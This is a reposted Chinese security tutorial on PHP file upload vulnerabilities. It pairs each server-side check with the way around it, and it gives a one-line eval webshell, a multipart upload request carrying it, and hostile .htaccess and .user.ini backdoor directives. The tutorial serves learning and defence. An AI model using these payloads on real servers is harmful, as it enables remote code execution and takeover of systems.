PHP文件上傳漏洞和Webshell


原文:http://cdutsec.gitee.io/blog/2020/04/20/file-upload/

文件上傳,顧名思義就是上傳文件的功能行為,之所以會被發展為危害嚴重的漏洞,是程序沒有對訪客提交的數據進行檢驗或者過濾不嚴,可以直接提交修改過的數據繞過擴展名的檢驗。
文件上傳漏洞是漏洞中最為簡單猖獗的利用形式,一般只要能上傳獲取地址,可執行文件被解析就可以獲取系統WebShell。

Webshell

webshell,顧名思義:web指的是在web服務器上,而shell是用腳本語言編寫的腳本程序,webshell就是就是web的一個管理工具,可以對web服務器進行操作的權限,也叫webadmin。

webshell一般是被網站管理員用於網站管理、服務器管理等等一些用途,但是由於webshell的功能比較強大,可以上傳下載文件,查看數據庫,甚至可以調用一些服務器上系統的相關命令(比如創建用戶,修改刪除文件之類的),通常被黑客利用,黑客通過一些上傳方式,將自己編寫的webshell上傳到web服務器的頁面的目錄下,然后通過頁面訪問的形式進行入侵,或者通過插入一句話連接本地的一些相關工具直接對服務器進行入侵操作。

php中最經典的webshell是<?php eval($_POST['cmd']);?>

eval($code)    把字符串$code作為PHP代碼執行

注意:傳入的必須是有效的 PHP 代碼,所有的語句必須以分號結尾
總體邏輯為:首先通過$_POST['cmd']接收攻擊者的信息指令,然后調用eval進行執行

這樣看來,只要我們知道了這個webshell的cmd參數,我們即可通過cmd參數傳入任意的php代碼,服務端都會將其執行,也就形成了一個命令執行環境,我們親切的稱其為一句話木馬,網頁后門等。

除了eval之外,php還有很多可以將字符串作為代碼執行的函數,它們都可以被用來做成webshell,比如assert

知道了webshell,再來看看webshell管理工具。常見的webshell管理工具有蟻劍菜刀等。

這里推薦使用中國蟻劍,安裝及使用參考:https://doc.u0u.us/zh-hans/index.html

php中的文件上傳

$_FILES

php中關於文件上傳有一個超全局變量$_FILES,它是一個數組,其包含了所有上傳的文件信息

如果上傳表單的name屬性值為file,即:

<input name="file" type="file" />

$_FILES 數組內容為:

  • $_FILES['file']['name']   上傳文件的原文件名
  • $_FILES['file']['type']   文件的MIME類型
    需要瀏覽器提供該信息的支持,例如”image/gif”
  • $_FILES['file']['size']   已上傳文件的大小,單位為字節
  • $_FILES['file']['tmp_name']   文件被上傳后在服務端存儲的臨時文件名, 在請求結束后該臨時文件會被刪除
  • $_FILES['file']['error']  和該文件上傳相關的錯誤代碼
    • UPLOAD_ERR_OK (0) 文件上傳成功
    • UPLOAD_ERR_INI_SIZE (1),上傳的文件超過了php.ini
    • upload_max_filesize 選項限制的值
    • UPLOAD_ERR_FORM_SIZE (2), 上傳文件的大小超過了HTML表單中MAX_FILE_SIZE選項指定的值
    • UPLOAD_ERR_PARTIAL (3) ,文件只有部分被上傳
    • UPLOAD_ERR_NO_FILE (4) ,沒有文件被上傳
    • UPLOAD_ERR_NO_TMP_DIR (6) ,找不到臨時文件夾
    • UPLOAD_ERR_CANT_WRITE (7) ,文件寫入失敗

注意:php支持多文件上傳,如果有多個文件,則上面的變量將會是一個數組,例如:

<input name="file[]" type="file" />
<input name="file[]" type="file" />

則:$_FILES['file']['name'][0] 代表上傳的第一個文件的文件名;$_FILES['file']['name'][1]代表上傳的第二個文件的文件名

和文件上傳相關的一些函數

is_uploaded_file($filename)   判斷文件是否是通過HTTP POST上傳的

move_uploaded_file($filename, $destination)   將上傳的文件移動到新位置

  • 該函數會檢查文件是否是通過http上傳(相當於自動調用is_uploaded_file($filename)),如果其返回為true才會將其移動到新位置
  • 若成功,則返回 true,否則返回 false
  • 如果目標文件已經存在,將會被覆蓋
  • 移動目的路徑所在目錄必須存在,此函數不會創建目錄

上傳文件在http頭中的表示

先看看文件上傳時的http請求

20200408151358

其中http請求頭需要關注的是Content-Type,其固定格式為:Content-Type: multipart/form-data; boundary=xxxxx

  • 其中 multipart/form-data 代表客戶端要上傳一個附件

  • boundary是一個分隔符,作用是分割多個表單項

    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylL6aBcmKQZeKRomN
    

    文件上傳的http請求體由一個個表單項組合成,每一個表單項代表一個表單元素

  • 每個表單項由--$boundary開始,以--$boundary結尾。最后一個表單項以--$boundary--結尾,代表表單結束
    每一個表單項又由表單頭和表單體組成
    Content-Disposition消息頭第一個參數總是固定不變的form-data,name表示表單元素屬性名

若該元素類型為file,則會多一個filename參數和Content-Type頭。filename參數表示文件名,Content-Type頭指明上傳文件的MIME.

表單頭回車換行符后面的內容就是表單體,內容就是元素的值或者上傳的文件的內容

------WebKitFormBoundarylL6aBcmKQZeKRomN
Content-Disposition: form-data; name="upload"; filename="1.php"
Content-Type: application/octet-stream

<?php  eval($_POST[a]); ?>
------WebKitFormBoundarylL6aBcmKQZeKRomN
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundarylL6aBcmKQZeKRomN--

這樣看來,文件上傳的server端做的事情可以簡單描述為以下步驟:

  1. 讀取http body部分,根據boundary分析出分隔符(這個串是唯一的,不會與body內其他數據沖突)
  2. 根據實際分隔符分段獲取 body
  3. 內容遍歷分段內容,根據Content-Disposition特征獲取其中值
  4. 根據值中filenamename區分是否是包含二進制流還是表單數據的key-value
  5. 根據filename獲取原始文件名
  6. 按照二進制流讀取上傳文件流信息。

完成后即有:原始文件名信息、原始文件類型信息、全部文件流信息

上傳校驗以及繞過校驗

如果不設任何檢測隨意讓用戶上傳文件,那么自己的服務器就會變成跑馬場了。因此,網站一般都會設置上傳文件的校驗,但是如果校驗不足,便就形成了一個文件上傳漏洞

客戶端校驗(js)

檢驗策略

function check(){
    var filename = document.getElementById("file");
    var str = filename.value.split(".");
    var ext = str[str.length-1];

    if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif'){
        return true;
    }else{
        alert("這不是圖片!");
        return false;
    }
    return false;

}

在表單中使用onsumbit=check()調用js函數來檢查上傳文件的擴展名.

繞過
這種限制實際上沒有任何用處,任何攻擊者都可以輕而易舉的破解,編輯一下頁面/用burpsuite/寫個小腳本就可以突破

后綴名校驗

后綴名校驗,就是在文件被上傳到服務端的時候,對於文件名的擴展名進行檢查,如果不合法,則拒絕這次上傳

校驗策略
常見的有兩種策略:白名單策略和黑名單策略。

黑名單策略
文件擴展名在黑名單中的即為不合法

$postfix = end(explode('.', $_FILES['file']['name']));
$black_list = ["php", "asp", "sh"];

if(in_array($postfix, $black_list)){
  die("invalid file type");
}

白名單策略
文件擴展名不在白名單中的均為不合法

$postfix = end(explode('.', $_FILES['file']['name']));
$white_list = ["jpg", "png", "gif"];

if(in_array($postfix, $white_list)){
  //save the file
}else die("invalid file type");

白名單策略是更加安全的,通過限制上傳類型為只有我們接受的類型,可以較好的保證安全,因為黑名單我們可以使用各種方法來進行注入和突破

繞過

  1. 使用黑名單中漏掉的后綴
    常見可以解析為php的后綴有:php、php3、php5、php7、pht、phtml
    這取決於服務端的配置,比如apache中httpd.conf中的設置:

    1. #指定 php 后綴的文件應該調用php模塊去執行
       <FilesMatch "\.php$">
           setHandler application/x-httpd-php
       </FilesMatch>
    
    #或在IfModule mime_module標簽中末尾添加以下配置:
    設定了3中后綴(.php、.php3、.pht 可以自定義后綴)都由php模塊去執行
    AddType application/x-httpd-php .php .php3 .pht
    
  2. 可能存在大小寫繞過漏洞

  3. Web容器可能存在文件解析漏洞

    • Apache 解析漏洞:
      • 在Apache1.x,2.x中Apache解析文件的規則是從右到左開始判斷解析的, 如果后綴名為不可識別文件, 就再往左判斷。因此,index.php.abc也會被解析成php文件。
        注意:如果php以FASTCGI的模式工作於Apache中,此種模式下php遇到類似aaa.php.xxx這種不是php程序的文件,會觸發500錯誤。
      • Apache解析漏洞CVE-2017-15715(Apache2.4.0到2.4.29)這個漏洞利用方式就是上傳一個文件名最后帶有換行符(只能是\x0A,如上傳a.php,然后在burp中修改文件名為a.php\x0A),以此來繞過一些黑名單過濾
        具體可看:https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
    • Nginx 解析漏洞:
  4. %00截斷
    條件:

    1. php版本小於5.3.29

    2. php的 magic_quotes_gpc 為OFF狀態

    3. 上傳時路徑可控

      原理:0x00是字符串的結束標識符,攻擊者可以利用手動添加字符串標識符的方式來將后面的內容進行截斷,而后面的內容又可以幫助我們繞過檢測。

content-type字段校驗

HTTP協議規定了上傳資源的時候在Header中加上一項文件的MIMETYPE,來識別文件類型,這個動作是由瀏覽器完成的,服務端可以檢查此類型不過這仍然是不安全的,因為HTTP header可以被發出者或者中間人任意的修改,不過加上一層防護也是可以有一定效果的

常用的MIMETYPE

MIME值 含義
text/plain 純文本
text/html HTML文檔
text/javascript js代碼
application/xhtml+xml XHTML文檔
image/gif GIF圖像
image/jpeg JPEG圖像
image/png PNG圖像
video/mpeg MPEG動畫
application/octet-stream 二進制數據
application/pdf PDF文檔
application/(編程語言) 該種語言的代碼
application/msword Microsoft Word文件
message/rfc822 RFC 822形式
multipart/alternative HTML郵件的HTML形式和純文本形式,相同內容使用不同形式表示
application/x-www-form-urlencoded POST方法提交的表單
multipart/form-data POST提交時伴隨文件上傳的表單


校驗

$mimetype = $_FILES['file']['type'];
var_dump($mimetype);
if(in_array($mimetype, array('image/jpeg', 'image/gif', 'image/png'))) {
  move_uploaded_file($_FILES['file']['tmp_name'], '/uploads/' . $_FILES['file']['name']);
  echo 'OK';
}else {
  die('Upload a real image');
} 

繞過
直接burp抓包修改上傳文件表單項的content-type即可

文件頭校驗

利用每一個特定類型的文件都會有不太一樣的開頭或者標志位,可以對上傳的文件進行一定的校驗。

exif_imagetype($filename)函數(需要php_exif擴展) :讀取一個圖像的第一個字節並檢查其簽名。
getimagesize($filename) :取得圖像大小,返回一個數組。如果傳入的文件不是圖片(文件頭),則返回false

  • 索引0包含圖像寬度的像素值
  • 索引1包含圖像高度的像素值
  • 索引2是圖像類型的標記(數字)
  • 索引3給出的是一個寬度和高度的字符串
  • 索引``channels`給出的是圖像的通道值,RGB 圖像默認是 3
  • 索引mime給出的是圖像的 MIME 信息

校驗

if (!exif_imagetype($_FILES['file']['tmp_name'])){
  die("File is not an image");
}

或者

$allow_mime = array("image/gif", "image/png", "image/jpeg");
$imageinfo = getimagesize($_FILES["file"]["tmp_name"]);

if (!in_array($imageinfo['mime'], $allow_mime)) {
  die("File type error!<br>");
}

繞過
當上傳php文件時,可以使用winhex、010editor等十六進制處理工具,在數據最前面添加圖片的文件頭,從而繞過檢測

常見圖片的文件頭(16進制):

gif: 47 49 46 38 39 61 (文本的GIF89a) 

jpg、jpeg : FF D8 FF

png : 89 50 4E 47 0D 0A

文件內容校驗
這種檢測主要是檢測文件中的敏感字符。

校驗

$contents = file_get_contents($_FILES['file']['tmp_name']);
if(preg_match("/<\?php/i", $contents) !== 0)
{
    die("Error");
}

繞過
這種其實也是相當於黑名單,只要能夠找到黑名單中的漏網之魚即可繞過

可解析為php的標簽

<?php phpinfo();?>
<?=phpinfo(); ?> 

<script language=php>phpinfo();</script>    //php7移除

<? phpinfo(); ?>     //需要php.ini中short_open_tag=On
<% phpinfo(); %>     //需要php.ini中asp_tags = On  php7移除

圖片二次渲染

圖片二次渲染,就是根據用戶上傳的圖片,新生成一個圖片,將原始圖片刪除,從而實現上傳圖片的清洗。
相當於是把原本屬於圖像數據的部分抓了出來,再用自己的API或函數進行重新渲染,在這個過程中非圖像數據的部分直接就被隔離開了

php中通常使用的是GD庫中的API函數實現二次渲染。

校驗

imagecreatefromjpeg($filename)    // 由jpg文件或URL創建一個新圖像,成功后返回圖像資源,失敗后返回false
imagecreatefrompng($filename)     // 由png文件或URL創建一個新圖像,成功后返回圖像資源,失敗后返回false
imagecreatefromgif($filename)     // 由gif文件或URL創建一個新圖像,成功后返回圖像資源,失敗后返回false

imagegif($image, $filename)       // 從image圖像以filename為文件名創建一個gif圖像
imagejpeg($image, $filename)      // 從image圖像以filename為文件名創建一個jpg圖像
imagepng($image, $filename)       // 從image圖像以filename為文件名創建一個png圖像
// 上述的 image 參數是imagecreate() 或 imagecreatefrom* 函數的返回值

一個例子:

$imageinfo = getimagesize($_FILES["file"]["tmp_name"]);
$upload_dir = "uploads/";
$postfix_tmp = explode('.', $_FILES["file"]["name"]);
$postfix = end($postfix_tmp);
$filename = md5(time()).".$postfix";
switch ($imageinfo['mime']) {
  case 'image/gif':
      $image = imagecreatefromgif($_FILES['file']['tmp_name']);
      if(!$image)
          die("gif has broken");
      imagegif($image, $upload_dir.$filename);
      break;
  case 'image/png':
      $image = imagecreatefrompng($_FILES['file']['tmp_name']);
      if(!$image)
          die("png has broken");
      imagepng($image, $upload_dir.$filename);
      break;
  case 'image/jpeg':
      $image = imagecreatefromjpeg($_FILES['file']['tmp_name']);
      if(!$image)
          die("jpg has broken");
      imagejpeg($image, $upload_dir.$filename);
      break;
  default:
      die("error");
      break;
}

繞過
針對這種二次渲染的繞過,內容很多,足夠再寫一篇文章了,這里參考:https://xz.aliyun.com/t/2657

限制Web服務器端對於特定類型文件的行為

導致文件上傳漏洞的根本原因在於服務把用戶上傳的本應是數據的內容當作了代碼,一般來說,用戶上傳的內容都會被存儲到特定的一個文件夾下,比如我們很多人習慣於放在./upload/下面要防止數據被當作代碼執行,我們可以限制web server對於特定文件夾的行為。

在Apache中, 我們可以利用.htaccess文件機制來對web server行為進行限制.

一般來說,配置文件的作用范圍都是全局的,但Apache提供了一種很方便的、可作用於當前目錄及其子目錄的配置文件——.htaccess(分布式配置文件)
.htaccess是一個純文本文件,它里面存放着Apache服務器配置相關的指令,它可以配置很多事情,如是否開啟站點的圖片緩存、自定義錯誤頁面、自定義默認文檔、設置WWW域名重定向、設置網頁重定向、設置圖片防盜鏈和訪問權限控制等等。參考:https://www.centos.bz/2017/11/apache-htaccess文件詳解和配置技巧總結/

但我們這里只關心.htaccess文件的一個作用——MIME類型修改

首先,要想使.htaccess文件生效,需要兩個條件:

  1. 在Apache的配置文件中寫上:

    AllowOverride All
    

    若這樣寫則.htaccess不會生效:

    AllowOverride None
    
  2. Apache要加載mod_Rewrite模塊。加載該模塊,需要在Apache的配置文件中寫上:

    LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
    

若是在Ubuntu中,可能還需要執行命令:

sudo a2enmod rewrite

配置完后需要重啟Apache。
禁止腳本執行有多種方式可以實現,而且分別有不同的效果

  1. 指定特定擴展名的文件的處理方式,原理是指定Response的Content-Type可以加上如下幾行

    AddType text/plain .pl .py .php
    
  2. 這種情況下,以上幾種腳本文件會被當作純文本來顯示出來,你也可以換成其他的Content-Type
    如果要完全禁止特定擴展名的文件被訪問,用下面的幾行

    Options -ExecCGI
    AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
    

    在這種情況下,以上幾種類型的文件被訪問的時候,會返回403 Forbidden的錯誤

  3. 也可以強制web服務器對於特定文件類型的處理,與第一條不同的是,下面的方法直接強行讓apache將文件識別為你指定的類型,而第一種是讓瀏覽器將該文件識別為指定類型

    <FilesMatch "\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$">
    ForceType text/plain
    </FilesMatch>
    

    符合上面正則的全部被認為是純文本,也可以繼續往里面加入其他類型

  4. 只允許訪問特定類型的文件

    <Files ^(*.jpeg|*.jpg|*.png|*.gif)>
    order deny,allow
    deny from all
    </Files>
    

    在一個上傳圖片的文件夾下面,就可以加上這段代碼,使得該文件夾里面只有圖片擴展名的文件才可以被訪問,其他類型都是拒絕訪問。
    這又是一個白名單的處理方案

繞過
如果服務端沒有將上傳的文件進行重名命,那么就可以上傳一個我們精心構造的.htaccess文件去覆蓋掉現有文件,如果我們可以控制了.htaccess文件,那么一切都好辦了。

利用姿勢:

  1. 使用FilesMatch

    <FilesMatch "abc">
    SetHandler application/x-httpd-php
    </FilesMatch>
    
    # 文件名中包含有abc字符的都將作為php腳本執行
    
  2. 使用AddType

    AddType application/x-httpd-php .jpg
    
    #文件后綴為.jpg的都將作為php腳本執行
    
  3. 使用php_value設置php配置

    • 自動包含文件
      用途:文件包含,可以配合AddType來繞過限制上傳木馬

      php_value auto_prepend_file xxx.php  
      php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"     
      #使作用范圍內的php文件在文件頭自動include指定文件,支持php偽協議
      
      php_value include_path "xxx"   
      #如果當前目錄無法寫文件,也可以改變包含文件的路徑,去包含別的路徑的文件
      
      php_value auto_prepend_file ".htaccess"
      # <?php phpinfo();?>
      # 包含自身
      
    • 利用報錯信息寫文件

      * php_value error_reporting 32767 
        php_value error_log /tmp/error_shell.php
      
        # 開啟報錯的同時將報錯信息寫入文件
      
        php_value display_errors 1      #顯示錯誤信息
      
    • 編碼繞過尖括號過濾

      php_value zend.multibyte 1
      php_value zend.script_encoding "UTF-7"
      
      #將代碼的解析方式改成UTF-7
      #此時我們上傳utf-7編碼的php腳本,這樣就沒有了php特征,可以繞過檢查
      
    • Prce繞過正則匹配

      php_value pcre.backtrack_limit 0
      php_value pcre.jit 0
      

      如果正則類似if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),可以通過php_value設置正則回朔次數來使正則匹配的結果返回為false而不是0或1,默認的回朔次數比較大,可以設成0,那么當超過此次數以后將返回false

  4. 其他

    • .htaccess可以使用\將兩行內容解釋為一行

    • 繞過exif_imagetype()上傳.htaccess(在文件開頭加上標識圖片的寬和高)

      #define width 20
      #define height 10
      #這里寫我們的規則
      xxx xxx
      

.user.ini

類似於.htaccess的文件,.user.ini是一個能被動態加載的ini文件。也就是說我修改了.user.ini后,不需要重啟服務器中間件,只需要等待php.iniuser_ini.cache_ttl所設置的時間(默認為300秒),即可被重新加載

簡單的說,.user.ini是php版本的.htaccess,它可以設置所有ini_set()可以設置的配置項。

要使.user.ini生效,需要修改php.ini 中的這兩個參數:

user_ini.filename = ".user.ini"
user_ini.cache_ttl = 300

利用.user.ini來構造后門
條件:

  1. 含有.user.ini的文件夾下需要有正常的php文件
  2. fastcgi運行的php
  3. php>5.3.0

php.ini中有兩個配置項:auto_prepend_fileauto_append_file。該配置項會讓php文件在執行時包含一個指定的文件

  • auto_prepend_file在頁面頂部加載文件
  • auto_append_file在頁面底部加載文件
    他們是通過require來自動調用文件的通過這個配置項

所以利用方法很簡單,.user.ini文件內容

auto_prepend_file=a.jpg

其會在每個這個目錄下所有的php文件執行前require一次a.jpg

關於文件上傳的臨時文件

文件被上傳后,默認會被存儲到服務器的默認臨時目錄中,該臨時目錄由php.iniupload_tmp_dir屬性指定。如果upload_tmp_dir的路徑不可寫,PHP會上傳到系統默認的臨時目錄。需要注意的是,不論后端是否是文件上傳的功能,只要我們按照文件上傳的格式發送http包,則php就會將我們上傳的文件轉存為臨時文件。前面的$_FILEStmp_name就是該臨時文件的文件名。

臨時文件的正常存活周期:

20200415104318

簡單的說,當我們通過POST方法上傳了文件,php會將我們上傳的文件移動到臨時文件,之后如果服務器端將該文件移動到了其他目錄,即實現了文件上傳功能。無論如何,php都會在腳本運行結束后刪除該臨時文件。

存儲在服務器上的臨時文件的文件名是隨機生成的,但其命名是有規則的:

  • linux中通常文件名是php[6個隨機字符]
  • windows中通常是php[4個隨機字符].tmp
    了解了php文件上傳臨時文件的相關知識,如何利用臨時文件呢?

這里也不展開說,內容也挺多,參考:
https://www.anquanke.com/post/id/201136
https://www.anquanke.com/post/id/183046

掌握了這兩篇文章的姿勢就可了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM